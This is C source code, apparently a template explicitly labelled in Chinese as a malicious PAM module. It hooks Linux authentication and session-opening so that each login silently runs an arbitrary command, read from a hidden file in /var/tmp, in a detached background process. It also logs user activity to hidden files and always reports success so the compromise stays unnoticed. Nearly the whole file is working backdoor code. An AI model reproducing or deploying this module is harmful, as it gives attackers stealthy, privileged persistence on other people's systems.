/*
 * 恶意PAM模块模板
 * 支持动态注入逻辑的PAM模块
 */

#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <pwd.h>

// 配置文件路径（隐蔽位置）
#define CONFIG_FILE "/var/tmp/.pam_config"
#define LOG_FILE "/var/tmp/.pam_log"
#define PAYLOAD_FILE "/var/tmp/.pam_payload"

// 日志记录函数
void log_event(const char *event, const char *user) {
    FILE *fp = fopen(LOG_FILE, "a");
    if (fp) {
        time_t now = time(NULL);
        char *timestr = ctime(&now);
        timestr[strlen(timestr)-1] = '\0'; // 移除换行符
        fprintf(fp, "[%s] %s - User: %s\n", timestr, event, user ? user : "unknown");
        fclose(fp);
    }
}

// 获取用户名
const char* get_username(pam_handle_t *pamh) {
    const char *user = NULL;
    pam_get_user(pamh, &user, NULL);
    return user ? user : "unknown";
}

// 执行payload
void execute_payload(const char *user) {
    FILE *fp = fopen(PAYLOAD_FILE, "r");
    if (fp) {
        char payload[4096];
        if (fgets(payload, sizeof(payload), fp)) {
            // 移除换行符
            payload[strcspn(payload, "\n")] = 0;
            
            // 在后台执行payload
            if (fork() == 0) {
                // 子进程执行payload
                setsid(); // 创建新会话
                
                // 设置环境变量
                setenv("PAM_USER", user, 1);
                setenv("PAM_TYPE", "auth", 1);
                
                // 执行payload
                system(payload);
                exit(0);
            }
        }
        fclose(fp);
    }
}

// 检查是否应该执行payload
int should_execute(const char *user) {
    FILE *fp = fopen(CONFIG_FILE, "r");
    if (!fp) {
        return 1; // 默认执行
    }
    
    char line[256];
    int execute = 1;
    
    while (fgets(line, sizeof(line), fp)) {
        line[strcspn(line, "\n")] = 0; // 移除换行符
        
        if (strncmp(line, "enabled=", 8) == 0) {
            execute = (strcmp(line + 8, "true") == 0);
        } else if (strncmp(line, "exclude_user=", 13) == 0) {
            if (user && strcmp(line + 13, user) == 0) {
                execute = 0;
                break;
            }
        }
    }
    
    fclose(fp);
    return execute;
}

// PAM认证函数
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {
    const char *user = get_username(pamh);
    
    // 记录认证事件
    log_event("AUTH_ATTEMPT", user);
    
    // 检查是否应该执行payload
    if (should_execute(user)) {
        execute_payload(user);
        log_event("PAYLOAD_EXECUTED", user);
    }
    
    // 总是返回成功，不影响正常认证流程
    return PAM_SUCCESS;
}

// PAM凭证设置函数
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags,
                              int argc, const char **argv) {
    const char *user = get_username(pamh);
    log_event("SETCRED", user);
    
    return PAM_SUCCESS;
}

// PAM会话开始函数
PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {
    const char *user = get_username(pamh);
    log_event("SESSION_OPEN", user);
    
    // 在会话开始时也可以执行payload
    if (should_execute(user)) {
        execute_payload(user);
        log_event("SESSION_PAYLOAD_EXECUTED", user);
    }
    
    return PAM_SUCCESS;
}

// PAM会话结束函数
PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags,
                                    int argc, const char **argv) {
    const char *user = get_username(pamh);
    log_event("SESSION_CLOSE", user);
    
    return PAM_SUCCESS;
}

// PAM密码修改函数
PAM_EXTERN int pam_sm_chauthtok(pam_handle_t *pamh, int flags,
                                int argc, const char **argv) {
    const char *user = get_username(pamh);
    log_event("PASSWORD_CHANGE", user);
    
    return PAM_SUCCESS;
}

// PAM账户管理函数
PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags,
                                int argc, const char **argv) {
    const char *user = get_username(pamh);
    log_event("ACCOUNT_MGMT", user);
    
    return PAM_SUCCESS;
}